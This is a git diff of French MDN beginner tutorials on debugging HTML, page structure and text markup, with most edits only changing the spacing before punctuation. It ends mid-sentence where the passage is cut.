permissif -Que voulons‑nous dire par permissif ? Et bien, quand vous faites une erreur dans du code, vous rencontrerez deux types principaux d'erreurs : +Que voulons‑nous dire par permissif ? Et bien, quand vous faites une erreur dans du code, vous rencontrerez deux types principaux d'erreurs : -- **Erreurs de syntaxe** : ce sont des « fautes d'orthographe » dans le code qui font que le programme ne fonctionne vraiment pas, comme l'erreur du Rust ci‑dessus. Elles sont généralement faciles à corriger pour autant que vous soyez à l'aise avec la syntaxe du langage et que vous sachiez ce que signifie le message d'erreur. -- **Erreurs de logique** : ce sont des erreurs dans lesquelles la syntaxe est réellement correcte, mais pour lesquelles le code ne correspond pas à vos souhaits, ce qui veut dire que le programme ne s'exécute pas correctement. Elles sont généralement plus difficiles à corriger que les erreurs de syntaxe, car il n'y a pas de message d'erreur pour vous guider à la source de l'erreur. +- **Erreurs de syntaxe** : ce sont des « fautes d'orthographe » dans le code qui font que le programme ne fonctionne vraiment pas, comme l'erreur du Rust ci‑dessus. Elles sont généralement faciles à corriger pour autant que vous soyez à l'aise avec la syntaxe du langage et que vous sachiez ce que signifie le message d'erreur. +- **Erreurs de logique** : ce sont des erreurs dans lesquelles la syntaxe est réellement correcte, mais pour lesquelles le code ne correspond pas à vos souhaits, ce qui veut dire que le programme ne s'exécute pas correctement. Elles sont généralement plus difficiles à corriger que les erreurs de syntaxe, car il n'y a pas de message d'erreur pour vous guider à la source de l'erreur. -HTML ne craint pas les erreurs de syntaxe, car les navigateurs l'analysent de manière permissive : la page s'affiche toujours même s'il y a des erreurs de syntaxe. Les navigateurs intègrent des règles indiquant comment interpréter un balisage incorrectement écrit, de sorte que vous obtiendrez toujours quelque chose à l'exécution, même si ce n'est pas ce que vous attendiez. Mais cela reste, bien sûr, toujours un problème ! +HTML ne craint pas les erreurs de syntaxe, car les navigateurs l'analysent de manière permissive : la page s'affiche toujours même s'il y a des erreurs de syntaxe. Les navigateurs intègrent des règles indiquant comment interpréter un balisage incorrectement écrit, de sorte que vous obtiendrez toujours quelque chose à l'exécution, même si ce n'est pas ce que vous attendiez. Mais cela reste, bien sûr, toujours un problème ! > **Note :** HTML est analysé de façon permissive parce que, lorsque le Web a été créé pour la première fois, on a décidé qu'il était plus important de permettre aux gens de publier leur contenu que de s'assurer d'une syntaxe absolument correcte. Le web ne serait probablement pas aussi populaire qu'il l'est aujourd'hui, s'il avait été plus strict dans ses débuts. -### Apprentissage actif : étude avec un code permissif +### Apprentissage actif : étude avec un code permissif Voici le moment venu d'étudier le caractère permissif du code HTML. 1. Primo, télécharchez notre démo [debug-example](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/debugging-html/debug-example.html) et enregistrez‑le localement. Cette démo est délibérement écrite avec des erreurs pour que nous puissions les examiner (le balisage HTML est dit **malformé**, par opposition à **bien-formé**). -2. Ensuite, ouvrez‑le dans un navigateur. Vous verrez quelque chose comme ceci : -3. Constatons que ce n'est pas terrible ; examinons le code source pour voir ce que nous pouvons en faire (seul le contenu de l'élément `body` est affiché) : +2. Ensuite, ouvrez‑le dans un navigateur. Vous verrez quelque chose comme ceci : +3. Constatons que ce n'est pas terrible ; examinons le code source pour voir ce que nous pouvons en faire (seul le contenu de l'élément `body` est affiché) : <h1>Exemple de HTML à déboguer</h1> @@ -98,34 +98,34 @@ Voici le moment venu d'étudier le caractère permissif du code HTML. lien à la page d'accueil de Mozilla</a> </ul> -4. Revoyons les problèmes : +4. Revoyons les problèmes : - Les élements {{htmlelement("p")}} (paragraphe) et {{htmlelement("li")}} (élément de liste) n'ont pas de balise de fermeture. En voyant l'image ci‑dessus, cela ne semble pas avoir trop sévèrement affecté le rendu, car on voit bien où un élément se termine et où le suivant commence. - Le premier élément {{htmlelement("strong")}} n'a pas de balise de fermeture. C'est un peu plus problématique, car il n'est pas possible de dire où l'élément est supposé se terminer. En fait, tout le reste du texte est en gras. - - Cette partie est mal imbriquée : `<strong>caractères gras <em>ou gras et italiques ?</strong> qu'est ce ?</em>`. Pas facile de dire comment il faut interpréter cela en raison du problème précédent. + - Cette partie est mal imbriquée : `<strong>caractères gras <em>ou gras et italiques ?</strong> qu'est ce ?</em>`. Pas facile de dire comment il faut interpréter cela en raison du problème précédent. - La valeur de l'attribut {{htmlattrxref("href","a")}} n'a pas de guillemet double fermant. C'est ce qui semble avoir posé le plus gros problème — le lien n'a pas été mentionné du tout. 5. Revoyons maintenant comment le navigateur a vu le balisage, par comparaison au balisage du code source. Pour ce faire, utilisons les outils de développement du navigateur. Si vous n'êtes pas un familier de l'utilisation des outils de développement du navigateur, prenez quelques minutes pour revoir [Découverte des outils de développement du navigateur](/fr/docs/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs). -6. Dans l'« Inspecteur », vous pouvez voir ce à quoi le balisage du rendu ressemble :  -7. Avec l'« Inspecteur », explorons le code en détail pour voir comment le navigateur a essayé de corriger nos erreurs HTML (nous avons fait la revue dans Firefox ; d'autres navigateurs modernes _devraient_ donner le même résultat) : +6. Dans l'« Inspecteur », vous pouvez voir ce à quoi le balisage du rendu ressemble :  +7. Avec l'« Inspecteur », explorons le code en détail pour voir comment le navigateur a essayé de corriger nos erreurs HTML (nous avons fait la revue dans Firefox ; d'autres navigateurs modernes _devraient_ donner le même résultat) : - Les éléments `p` et `li` ont été pourvus de balises fermantes. - - L'endroit où le premier élément `<strong>` doit être fermé n'est pas clair, donc le navigateur a enveloppé séparément chaque bloc de texte avec ses propres balises `strong`, jusqu'à la fin du document ! - - L'imbrication incorrecte a été corrigée ainsi : + - L'endroit où le premier élément `<strong>` doit être fermé n'est pas clair, donc le navigateur a enveloppé séparément chaque bloc de texte avec ses propres balises `strong`, jusqu'à la fin du document ! + - L'imbrication incorrecte a été corrigée ainsi : ```html <strong>caractères gras - <em>ou caractères gras et italiques ?</em> + <em>ou caractères gras et italiques ?</em> </strong> - <em> qu'est ce ?</em> + <em> qu'est ce ?</em> ``` - - Le lien avec les guillemets manquants a été illico détruit. Le dernier élément `li` ressemble à ceci : + - Le lien avec les guillemets manquants a été illico détruit. Le dernier élément `li` ressemble à ceci : ```html <li> <strong>Attributs non fermés : autre source courante de problèmes - en HTML. Voici un exemple :</strong> + en HTML. Voici un exemple :</strong> </li> ``` @@ -156,17 +156,17 @@ Cela vous donnera une liste d'erreurs et autres informations. Les messages d'erreur sont généralement utiles, mais parfois non ; avec un peu de pratique, vous trouverez comment les interpréter pour corriger votre code. Passons en revue les messages d'erreur et voyons leur signification. Chaque message est accompagné d'un numéro de ligne et de colonne pour faciliter la localisation de l'erreur. -- « End tag `li` implied, but there were open elements » (2 instances) : ces messages indiquent qu'un élément ouvert devrait être fermé. La balise de fermeture est implicite, mais pas réellement mise. L'information ligne/colonne pointe sur la première ligne après laquelle la balise de fermeture devrait réellement se situer, mais c'est un bon indice pour voir ce qui ne va pas. -- « Unclosed element `strong` » : C'est facile à comprendre — un élément {{htmlelement("strong")}} n'est pas fermé ; l'information ligne/colonne pointe directement dessus. -- « End tag `strong` violates nesting rules » : signale des éléments incorrectement imbriqués et l'information ligne/colonne signale là où cela se trouve. -- « End of file reached when inside an attribute value. Ignoring tag » : c'est peu clair ; la remarque se rapporte au fait qu'il y a une valeur d'attribut improprement formée quelque part, peut-être près de la fin du fichier car la fin du fichier apparaît dans la valeur de l'attribut. Le fait que le navigateur ne rende pas le lien est un bon indice pour dire que cet élément est en faute. -- « End of file seen and there were open elements » : c'est un peu ambigu, mais se réfère au fait qu'à la base des éléments ouverts n'ont pas été proprement fermés. Les numéros de ligne pointent sur les dernières lignes du fichier et ce message d'erreur vient avec une ligne de code qui désigne un exemple d'élément ouvert : +- « End tag `li` implied, but there were open elements » (2 instances) : ces messages indiquent qu'un élément ouvert devrait être fermé. La balise de fermeture est implicite, mais pas réellement mise. L'information ligne/colonne pointe sur la première ligne après laquelle la balise de fermeture devrait réellement se situer, mais c'est un bon indice pour voir ce qui ne va pas. +- « Unclosed element `strong` » : C'est facile à comprendre — un élément {{htmlelement("strong")}} n'est pas fermé ; l'information ligne/colonne pointe directement dessus. +- « End tag `strong` violates nesting rules » : signale des éléments incorrectement imbriqués et l'information ligne/colonne signale là où cela se trouve. +- « End of file reached when inside an attribute value. Ignoring tag » : c'est peu clair ; la remarque se rapporte au fait qu'il y a une valeur d'attribut improprement formée quelque part, peut-être près de la fin du fichier car la fin du fichier apparaît dans la valeur de l'attribut. Le fait que le navigateur ne rende pas le lien est un bon indice pour dire que cet élément est en faute. +- « End of file seen and there were open elements » : c'est un peu ambigu, mais se réfère au fait qu'à la base des éléments ouverts n'ont pas été proprement fermés. Les numéros de ligne pointent sur les dernières lignes du fichier et ce message d'erreur vient avec une ligne de code qui désigne un exemple d'élément ouvert : exemple: <a href="https://www.mozilla.org/>lien à la page d'accueil de Mozilla</a> ↩ </ul>↩ </body>↩</html> > **Note :** un attribut sans guillemet fermant peut entraîner un élément ouvert car le reste du document est interprété comme le contenu de l'attribut. -- « Unclosed element `ul` » : n'est pas vraiment utile, car l'élément {{htmlelement("ul")}} _est_ correctement fermé. Cette erreur ressort car l'élément {{htmlelement("a")}} n'est pas fermé en raison de l'absence de guillemet fermant. +- « Unclosed element `ul` » : n'est pas vraiment utile, car l'élément {{htmlelement("ul")}} _est_ correctement fermé. Cette erreur ressort car l'élément {{htmlelement("a")}} n'est pas fermé en raison de l'absence de guillemet fermant. Si vous ne comprenez pas ce que signifie chaque message d'erreur, ne vous inquiétez pas — une bonne idée consiste à corriger quelques erreurs à la fois. Puis essayez de revalider le HTML pour voir les erreurs restantes. Parfois, la correction d'une erreur en amont permet aussi d'éliminer d'autres messages d'erreur — plusieurs erreurs sont souvent causées par un même problème, avec une sorte d'effet domino. @@ -176,7 +176,7 @@ Vous saurez que toutes vos erreurs sont corrigées quand vous verrez la bannièr ## Résumé -Voilà donc une introduction au débogage HTML, qui devrait vous donner des compétences utiles sur lesquelles compter lorsque vous commencerez à déboguer des CSS, du JavaScript ou d'autres types de code plus tard dans votre carrière. Ceci marque également la fin des articles d'apprentissage du module Introduction au HTML — maintenant vous pouvez faire un auto‑test avec nos évaluations : le lien ci‑dessous vous dirige sur la première. +Voilà donc une introduction au débogage HTML, qui devrait vous donner des compétences utiles sur lesquelles compter lorsque vous commencerez à déboguer des CSS, du JavaScript ou d'autres types de code plus tard dans votre carrière. Ceci marque également la fin des articles d'apprentissage du module Introduction au HTML — maintenant vous pouvez faire un auto‑test avec nos évaluations : le lien ci‑dessous vous dirige sur la première. {{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Document_and_website_structure", "Apprendre/HTML/Introduction_à_HTML/Marking_up_a_letter", "Apprendre/HTML/Introduction_à_HTML")}} diff --git a/files/fr/learn/html/introduction_to_html/document_and_website_structure/index.md b/files/fr/learn/html/introduction_to_html/document_and_website_structure/index.md index 47adb3bded..a58a366f71 100644 --- a/files/fr/learn/html/introduction_to_html/document_and_website_structure/index.md +++ b/files/fr/learn/html/introduction_to_html/document_and_website_structure/index.md @@ -22,7 +22,7 @@ De même que HTML est utilisé pour définir les diverses parties indépendantes <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Être familiarisé avec les bases du HTML, traitées à la page <a @@ -41,7 +41,7 @@ De même que HTML est utilisé pour définir les diverses parties indépendantes </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> <p> Apprendre comment structurer votre document en utilisant des balises @@ -59,7 +59,7 @@ Les pages web peuvent sembler assez différentes les unes des autres, mais elles - En‑tête (header) - : Généralement une grande bande placée en travers au haut de la page avec un titre ou un logo. C'est là où les principales informations du site restent d'une page à l'autre. - Barre de navigation - - : Elle fait le lien vers les principales parties du site ; d'habitude, elle est présentée sous forme de boutons de menu, de liens ou d'onglets. Comme l'en‑tête, la barre de navigation reste souvent cohérente d'une page à l'autre — avoir une navigation destructurée ne peut conduire qu'à de la confusion et la frustation pour le lecteur. Beaucoup de créateurs de site considèrent la barre de navigation partie de l'en‑tête et non comme un composant individuel, mais ce n'est pas une exigence. En fait certains soutiennent également que le fait d'avoir les deux séparés est préférable pour l'accessibilité, car les lecteurs d'écran lisent mieux les deux éléments s'ils sont séparés. + - : Elle fait le lien vers les principales parties du site ; d'habitude, elle est présentée sous forme de boutons de menu, de liens ou d'onglets. Comme l'en‑tête, la barre de navigation reste souvent cohérente d'une page à l'autre — avoir une navigation destructurée ne peut conduire qu'à de la confusion et la frustation pour le lecteur. Beaucoup de créateurs de site considèrent la barre de navigation partie de l'en‑tête et non comme un composant individuel, mais ce n'est pas une exigence. En fait certains soutiennent également que le fait d'avoir les deux séparés est préférable pour l'accessibilité, car les lecteurs d'écran lisent mieux les deux éléments s'ils sont séparés. - Contenu principal - : Une grande zone au centre contenant la majeure partie du contenu unique de la dite page web, par ex. la vidéo à regarder, ou le corps de l'article à parcourir, ou la carte à lire, ou les dernières nouvelles etc. C'est la partie du site variable de page en page. - Barre latérale @@ -68,7 +68,7 @@ Les pages web peuvent sembler assez différentes les unes des autres, mais elles - : Une bande au bas de la page qui contient généralement, en petits caractères, des avis de droit d'auteur ou des coordonnées de contact. C'est un endroit pour mettre de l'information commune (comme l'en-tête), mais il s'agit dans ce cas d'informations non‑critiques, voire secondaires par rapport au site Web lui-même. Le pied de page est aussi parfois utilisé à des fins de {{Glossary("SEO")}}, en fournissant des liens pour un accès rapide à des contenus prisés. - Un « site web typique » pourrait ressembler à quelque chose comme ceci : + Un « site web typique » pourrait ressembler à quelque chose comme ceci :  @@ -76,21 +76,21 @@ Les pages web peuvent sembler assez différentes les unes des autres, mais elles L'exemple simple affiché ci-dessus n'est pas très beau, mais il est parfaitement correct pour illustrer un exemple typique de mise en page d'un site web. Certains sites Web ont plus de colonnes, d'autres sont beaucoup plus complexes, mais vous voyez l'idée. Avec le bon CSS, vous pouvez utiliser à peu près n'importe quel élément pour envelopper les différentes sections et obtenir l'apparence que vous voulez, mais comme nous l'avons déjà dit, nous devons respecter la sémantique et **utiliser le bon élément pour le bon travail**. -C'est parce que le visuel ne raconte pas toute l'histoire. Nous utilisons la couleur et la taille des caractères pour attirer l'attention des utilisateurs malvoyants sur les parties les plus utiles du contenu, comme le menu de navigation et les liens connexes, mais qu'en est-il des personnes malvoyantes par exemple, qui pourraient ne pas trouver très utiles des concepts tels que le « rose » et la « grande police » ? +C'est parce que le visuel ne raconte pas toute l'histoire. Nous utilisons la couleur et la taille des caractères pour attirer l'attention des utilisateurs malvoyants sur les parties les plus utiles du contenu, comme le menu de navigation et les liens connexes, mais qu'en est-il des personnes malvoyantes par exemple, qui pourraient ne pas trouver très utiles des concepts tels que le « rose » et la « grande police » ? > **Note :** Les daltoniens représentent environ [8% de la population mondiale](http://www.color-blindness.com/2006/04/28/colorblind-population/) ou, en d'autres termes, environ 1 homme sur 12 et 1 femme sur 200 sont daltoniens. Les personnes aveugles et malvoyantes représentent environ 4 à 5 % de la population mondiale (en 2012, il y avait [285 millions de personnes aveugles et malvoyantes](https://fr.wikipedia.org/wiki/D%C3%A9ficience_visuelle) dans le monde, alors que la population totale était [d'environ 7 milliards](https://fr.wikipedia.org/wiki/Population_mondiale) d'habitants). -Dans votre code HTML, vous pouvez marquer des sections de contenu selon leur fonction — vous pouvez utiliser des éléments qui représentent sans ambiguïté les sections de contenu décrites ci-dessus, et les technologies d'assistance comme les lecteurs d'écran peuvent reconnaître ces éléments et vous aider avec des tâches comme « trouver la navigation principale » ou « trouver le contenu principal ». Comme nous l'avons mentionné plus tôt dans le cours, le fait de [ne pas utiliser la bonne structure d'éléments et la bonne sémantique pour le bon travail a un certain nombre de conséquences](/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#why_do_we_need_structure). +Dans votre code HTML, vous pouvez marquer des sections de contenu selon leur fonction — vous pouvez utiliser des éléments qui représentent sans ambiguïté les sections de contenu décrites ci-dessus, et les technologies d'assistance comme les lecteurs d'écran peuvent reconnaître ces éléments et vous aider avec des tâches comme « trouver la navigation principale » ou « trouver le contenu principal ». Comme nous l'avons mentionné plus tôt dans le cours, le fait de [ne pas utiliser la bonne structure d'éléments et la bonne sémantique pour le bon travail a un certain nombre de conséquences](/fr/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#why_do_we_need_structure). -Pour mettre en œuvre le marquage sémantique, HTML fournit des balises dédiées que vous pourrez utiliser pour représenter ces parties, par exemple : +Pour mettre en œuvre le marquage sémantique, HTML fournit des balises dédiées que vous pourrez utiliser pour représenter ces parties, par exemple : -- **header :** {{htmlelement("header")}}. -- **barre de navigation :** {{htmlelement("nav")}}. -- **contenu principal :** {{htmlelement("main")}}, avec diverses sous‑sections de contenu représentées à l'aide de des éléments {{HTMLElement("article")}}, {{htmlelement("section")}} et {{htmlelement("div")}}. -- **barre latérale :** {{htmlelement("aside")}} ; souvent mise à l'intérieur de l'élément {{htmlelement("main")}}. -- **pied de page :** {{htmlelement("footer")}}. +- **header :** {{htmlelement("header")}}. +- **barre de navigation :** {{htmlelement("nav")}}. +- **contenu principal :** {{htmlelement("main")}}, avec diverses sous‑sections de contenu représentées à l'aide de des éléments {{HTMLElement("article")}}, {{htmlelement("section")}} et {{htmlelement("div")}}. +- **barre latérale :** {{htmlelement("aside")}} ; souvent mise à l'intérieur de l'élément {{htmlelement("main")}}. +- **pied de page :** {{htmlelement("footer")}}. -### Apprentissage actif : exploration du code de l'exemple +### Apprentissage actif : exploration du code de l'exemple Notre exemple affiché plus haut est représenté par le code ci‑après (vous le trouverez également [dans le dépôt Github](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/document_and_website_structure/index.html)). Nous aimerions que vous regardiez cet exemple et que vous recherchiez dans le listing suivant les sections constituant les diverses parties du visuel. @@ -193,7 +193,7 @@ La compréhension détaillée de la signification globale de tous les éléments Parfois, vous êtes dans la situation où vous ne trouvez pas l'élément sémantique idéal pour regrouper certaines entités ou envelopper certains contenus. D'autres fois, vous souhaitez simplement regrouper un ensemble d'éléments pour en faire une entité unique pour des {{glossary("CSS")}} ou des {{glossary("JavaScript")}}. Pour de tels cas, HTML met à votre disposition les éléments {{HTMLElement("div")}} et {{HTMLElement("span")}}}. Utilisez‑les de préférence avec un attribut {{htmlattrxref('class')}} approprié, en quelque sorte étiquetez‑les pour pouvoir les cibler plus facilement. -{{HTMLElement("span")}} est un élément en ligne non-semantique ; vous l'utiliserez seulement si vous ne trouvez pas de meilleur élément de sémantique textuelle pour envelopper votre contenu, ou bien si vous ne voulez pas ajouter de signification particulière. Par exemple : +{{HTMLElement("span")}} est un élément en ligne non-semantique ; vous l'utiliserez seulement si vous ne trouvez pas de meilleur élément de sémantique textuelle pour envelopper votre contenu, ou bien si vous ne voulez pas ajouter de signification particulière. Par exemple : ```html <p>Le Roi retourna ivre à sa chambre à une heure, la bière ne l'aidant en rien @@ -217,7 +217,7 @@ Dans ce cas, la note du rédacteur est simplement supposée fournir une indicati ... </li> </ul> - <p>Total des achats : €237,89</p> + <p>Total des achats : €237,89</p> </div> ``` @@ -227,9 +227,9 @@ Ce n'est pas vraiment un élément `<aside>` et il n'a pas forcément de relatio ### Sauts de ligne et traits horizontaux -Les éléments {{htmlelement("br")}} et {{htmlelement("hr")}} sont utilisés à l'occasion et il convient de les connaître : +Les éléments {{htmlelement("br")}} et {{htmlelement("hr")}} sont utilisés à l'occasion et il convient de les connaître : -`<br>` crée un saut de ligne dans un paragraphe ; c'est le seul moyen de forcer une structure rigide quand vous voulez obtenir une suite de lignes courtes fixes, comme dans une adresse postale ou un poème. Par exemple : +`<br>` crée un saut de ligne dans un paragraphe ; c'est le seul moyen de forcer une structure rigide quand vous voulez obtenir une suite de lignes courtes fixes, comme dans une adresse postale ou un poème. Par exemple : ```html <p>Il y avait une fois une fille nommée Nell<br> @@ -238,14 +238,14 @@ Mais ses structures et sémantiques affligeantes<br> rendaient de ses marquages la lecture inélégante.</p> ``` -Sans éléments `<br>`, le paragraphe serait rendu par une seule longue ligne (comme précisé plus haut dans ce cours, [HTML ignore la plupart des blancs](/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started#whitespace_in_html)) ; avec des \<br> dans le code, voici le rendu de ce qui précède : +Sans éléments `<br>`, le paragraphe serait rendu par une seule longue ligne (comme précisé plus haut dans ce cours, [HTML ignore la plupart des blancs](/fr/docs/Learn/HTML/Introduction_to_HTML/Getting_started#whitespace_in_html)) ; avec des \<br> dans le code, voici le rendu de ce qui précède : Il y avait une fois une fille nommée Nell Qui aimait écrire du HTML Mais ses structures et sémantiques affligeantes rendaient de ses marquages la lecture inélégante. -`Les éléments <hr>` créent un trait horizontal dans le document marquant un changement thématique dans le texte (comme un changement de sujet ou de scène). Visuallement, c'est juste un trait horizontal, comme dans cet exemple : +`Les éléments <hr>` créent un trait horizontal dans le document marquant un changement thématique dans le texte (comme un changement de sujet ou de scène). Visuallement, c'est juste un trait horizontal, comme dans cet exemple : ### Exemple avec hr @@ -255,7 +255,7 @@ rendaient de ses marquages la lecture inélégante. <p>Pendant ce temps, Harry était assis à la maison, regardant sa déclaration de redevances et réfléchissant à la sortie du prochaine épisode de la fiction, quand une lettre de détresse enchantée passa par sa fenêtre et atterrit sur ses genoux. Il la lut à la hâte et, se dressant brusquement, « mieux vaut retourner au travail alors » se dit-il.</p> ``` -sera rendu ainsi : +sera rendu ainsi : {{EmbedLiveSample("Exemple_avec_hr")}} @@ -269,7 +269,7 @@ Une fois planifié le contenu d'une simple page Web, l'étape logique suivante e 4. Ensuite, essayez de trier tous ces éléments de contenu par groupes, pour vous donner une idée des parties qui pourraient aller ensemble sur diverses pages. C'est très similaire à une technique appelée {{glossary("Card sorting","Tri de cartes")}}. 5. Essayez maintenant d'esquisser un plan de site grossier — entourez d'un cercle chaque page de votre site et tracez des flèches pour montrer les flux de travail typiques entre pages. La page d'accueil sera probablement au centre et en lien vers la plupart sinon la totalité des autres ; la plupart des pages d'un petit site devraient être disponibles à partir de la navigation principale, bien qu'il y ait des exceptions. Vous voudrez peut-être aussi ajouter des notes sur la présentation des choses.  -### Apprentissage actif : créez la cartographie de votre propre site +### Apprentissage actif : créez la cartographie de votre propre site Essayez d'effectuer l'exercice ci-dessus pour un site web de votre propre création. Sur quel sujet aimeriez-vous faire un site ? diff --git a/files/fr/learn/html/introduction_to_html/html_text_fundamentals/index.md b/files/fr/learn/html/introduction_to_html/html_text_fundamentals/index.md index 215bfa8613..db5e3a2e72 100644 --- a/files/fr/learn/html/introduction_to_html/html_text_fundamentals/index.md +++ b/files/fr/learn/html/introduction_to_html/html_text_fundamentals/index.md @@ -245,9 +245,9 @@ textarea.onkeyup = function(){ ### Pourquoi a-t-on besoin de sémantique ? -La sémantique est utilisée partout autour de nous — on se fie à nos précédentes experiences pour savoir à quoi servent les objets du quotidien; quand on voit quelque chose, on sait à quoi cela sert. Par exemple, on s'attend à ce qu'un feu rouge de signalisation signifie « Stop » et qu'un feu vert signifie « Avancez ». Les choses peuvent vite devenir plus compliquées si de mauvaises sémantiques sont appliquées (existe-t-il un pays dans lequel un feu rouge signifie que l'on peut passer ? Je ne l'espère pas.) +La sémantique est utilisée partout autour de nous — on se fie à nos précédentes experiences pour savoir à quoi servent les objets du quotidien; quand on voit quelque chose, on sait à quoi cela sert. Par exemple, on s'attend à ce qu'un feu rouge de signalisation signifie « Stop » et qu'un feu vert signifie « Avancez ». Les choses peuvent vite devenir plus compliquées si de mauvaises sémantiques sont appliquées (existe-t-il un pays dans lequel un feu rouge signifie que l'on peut passer ? Je ne l'espère pas.) -Dans la même optique, il faut s'assurer que l'on utilise les bons élements et que l'on donne la bonne signification, la bonne fonction et la bonne apparence à notre contenu. Dans ce contexte, l'élément {{htmlelement("h1")}} est aussi un élement sémantique. Il donne au texte auquel il s'applique la fonction (ou la signification) de « titre principal de la page ». +Dans la même optique, il faut s'assurer que l'on utilise les bons élements et que l'on donne la bonne signification, la bonne fonction et la bonne apparence à notre contenu. Dans ce contexte, l'élément {{htmlelement("h1")}} est aussi un élement sémantique. Il donne au texte auquel il s'applique la fonction (ou la signification) de « titre principal de la page ». ```html <h1>Ceci est un titre principal</h1> @@ -265,7 +265,7 @@ C'est un élément {{htmlelement("span")}}. Il n'a pas de valeur sémantique. Il ## Listes -Intéressons-nous maintenant aux listes. Il y a des listes partout dans la vie — de la liste de courses à la liste de directions que vous suivez inconsciemment pour rentrer chez vous tous les jours, sans oublier la liste des instructions que vous suivez dans ce tutoriel ! Les listes sont aussi très répandues sur le Web, nous allons nous intéresser aux trois différents types de liste. +Intéressons-nous maintenant aux listes. Il y a des listes partout dans la vie — de la liste de courses à la liste de directions que vous suivez inconsciemment pour rentrer chez vous tous les jours, sans oublier la liste des instructions que vous suivez dans ce tutoriel ! Les listes sont aussi très répandues sur le Web, nous allons nous intéresser aux trois différents types de liste. ### Listes non-ordonnées @@ -600,7 +600,7 @@ Si vous êtes arrivé jusqu'ici dans l'article, vous avez toutes les connaissanc Ingrédients - 1 boîte (400 g) de pois chiches (garbanzos) + 1 boîte (400 g) de pois chiches (garbanzos) 175g de crème de sésame 6 tomates séchées un demi poivron rouge @@ -620,7 +620,7 @@ Si vous êtes arrivé jusqu'ici dans l'article, vous avez toutes les connaissanc Mettez l'houmous fini au réfrigérateur dans un récipient fermé. Vous le garderez ainsi pendant environ une semaine. S'il se met à fermenter, jettez‑le sans hésiter. - L'houmous peut être congelé ; consommez‑le dans les deux mois qui suivent sa congélation.</textarea> + L'houmous peut être congelé ; consommez‑le dans les deux mois qui suivent sa congélation.</textarea> <div class="playable-buttons"> <input id="reset" type="button" value="Réinitialiser"> @@ -749,7 +749,7 @@ Il est parfaitement possible d'imbriquer une liste dans une autre. Il se peut qu </ol> ``` -Comme les deux dernières puces de la liste sont très liées à celle qui les précède (elles semblent être des sous-instructions ou des choix correspondant à cette puce), il peut être judicieux de les regrouper dans une même liste non-ordonnée, et placer cette liste dans le quatrième item. Cela ressemblerait alors à ceci : +Comme les deux dernières puces de la liste sont très liées à celle qui les précède (elles semblent être des sous-instructions ou des choix correspondant à cette puce), il peut être judicieux de les regrouper dans une même liste non-ordonnée, et placer cette liste dans le quatrième item. Cela ressemblerait alors à ceci : ```html <ol> @@ -774,9 +774,9 @@ Dans le langage, nous mettons souvent l'accent sur certains mots pour modifier l Dans le langage parlé, pour accentuer, nous insistons sur certains mots, modifiant subtilement le sens de ce que nous disons. De même, dans le langage écrit, nous avons tendance à mettre un certain accent sur des mots en les écrivant en italique. Par exemple, les deux phrases suivantes ont des significations différentes. -« Je suis content que vous n'ayez pas été en retard. » +« Je suis content que vous n'ayez pas été en retard. » -« Je suis _content_ que vous n'ayez pas été _en retard_. » +« Je suis _content_ que vous n'ayez pas été _en retard_. » La première phrase semble indiquer que le locuteur est vraiment soulagé que la personne n'aie pas été en retard. En revanche, la seconde a une tonalité sarcastique ou passive-agressive, exprimant la gêne que la personne soit arrivée un peu en retard. @@ -799,7 +799,7 @@ En HTML, nous utilisons l'élément {{htmlelement("strong")}} (forte importance) ```html <p>Ce liquide est <strong>hautement toxique</strong>.</p> -<p>Je compte sur vous. <strong>Ne soyez pas en retard</strong> !</p> +<p>Je compte sur vous. <strong>Ne soyez pas en retard</strong> !</p> ``` Il est possible d'imbriquer `strong` et `em` : @@ -809,7 +809,7 @@ Il est possible d'imbriquer `strong` et `em` : si vous en buvez, <strong>vous pourriez en <em>mourir</em></strong>.</p> ``` -### Apprentissage actif : soulignez l'important +### Apprentissage actif : soulignez l'important Dans ce paragraphe d'apprentissage actif, nous avons donné un exemple modifiable. À l'intérieur, nous aimerions que vous essayiez d'ajouter de l'emphase et de l'importance aux mots quand vous pensez qu'ils en ont besoin, juste pour une bonne pratique. @@ -950,8 +950,8 @@ HTML5 a redéfini `<b>`, `<i>` et `<u>` avec de nouveaux rôles sémantiques que Voici la meilleure règle d'or : il est probablement approprié d'utiliser `<b>`, `<i>`, ou `<u>` pour communiquer le sens traditionnellement associé aux caractères gras, italiques ou soulignés, à condition qu'il n'y ait pas d'élément plus approprié. Toutefois, il demeure toujours essentiel de garder présent à l'esprit le concept d'accessibilité. L'écriture en italique n'est pas très utile aux personnes utilisant des lecteurs d'écran ou un système d'écriture autre que l'alphabet latin. - {{HTMLElement('i')}} s'utilise pour transmettre un sens traditionnellement véhiculé avec l'italique : des mots étrangers, une désignation taxonomique, des termes techniques, une pensée… -- {{HTMLElement('b')}} s'utilise pour transmettre un sens traditionnellement véhiculé avec les caractères en gras : des mots‑clés, des noms de produits, une phrase liminaire… -- {{HTMLElement('u')}} s'utilise pour transmettre un sens traditionnellement véhiculé avec le soulignement : noms propres, mauvaise orthographe... +- {{HTMLElement('b')}} s'utilise pour transmettre un sens traditionnellement véhiculé avec les caractères en gras : des mots‑clés, des noms de produits, une phrase liminaire… +- {{HTMLElement('u')}} s'utilise pour transmettre un sens traditionnellement véhiculé avec le soulignement : noms propres, mauvaise orthographe... > **Note :** Un petit avertissement à propos du soulignement : **les gens associent fortement soulignement et hyperliens**. Par conséquent, sur le Web, il est préférable de ne souligner que les liens. N'utilisez l'élément `<u>` que s'il est sémantiquement approprié, mais envisagez d'utiliser les CSS pour remplacer le soulignement par défaut par quelque chose de plus approprié sur le Web. L'exemple ci-dessous illustre comment cela peut être fait. @@ -987,7 +987,7 @@ Voici la meilleure règle d'or : il est probablement approprié d'utiliser `<b>` ## Résumé -C'est tout pour l'instant ! Cet article doit vous avoir donné une bonne idée de la façon de commencer à baliser le texte en HTML et présenté les éléments les plus importants dans ce domaine. Il existe énormément d'autres éléments sémantiques à connaître dans ce domaine ; nous en verrons beaucoup plus dans notre article « More Semantic Elements », plus loin dans ce cours. Dans le prochain article, nous examinerons en détail comment [créer des 